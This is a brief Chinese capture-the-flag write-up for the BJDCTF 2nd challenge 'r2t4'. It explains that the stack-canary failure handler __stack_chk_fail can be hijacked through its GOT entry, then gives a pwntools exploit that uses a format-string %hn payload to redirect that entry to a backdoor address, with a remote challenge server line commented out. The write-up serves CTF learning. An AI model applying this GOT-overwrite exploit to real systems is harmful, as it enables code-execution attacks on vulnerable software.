[BJDCTF 2nd]r2t4 [格式化字符串写GOT]

[BJDCTF 2nd]r2t4 [格式化字符串写GOT]_第1张图片
[BJDCTF 2nd]r2t4 [格式化字符串写GOT]_第2张图片

开启了Canary,但Canary失败的处理逻辑会进入到stack_chk_failed函数,stack_chk_failed函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

[BJDCTF 2nd]r2t4 [格式化字符串写GOT]_第3张图片
exp

from pwn import *

context(log_level='debug')
proc_name = './r2t4'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 29985)
elf = ELF(proc_name)
__stack_chk_fail = elf.got['__stack_chk_fail']
backdoor = 0x400626
# 0x40 0x0626
p.sendline(flat(['%64c%9$hn%1510c%10$hnAAA', p64(__stack_chk_fail + 2), p64(__stack_chk_fail)]))
print(p.recv())

在这里插入图片描述

你可能感兴趣的:(pwn)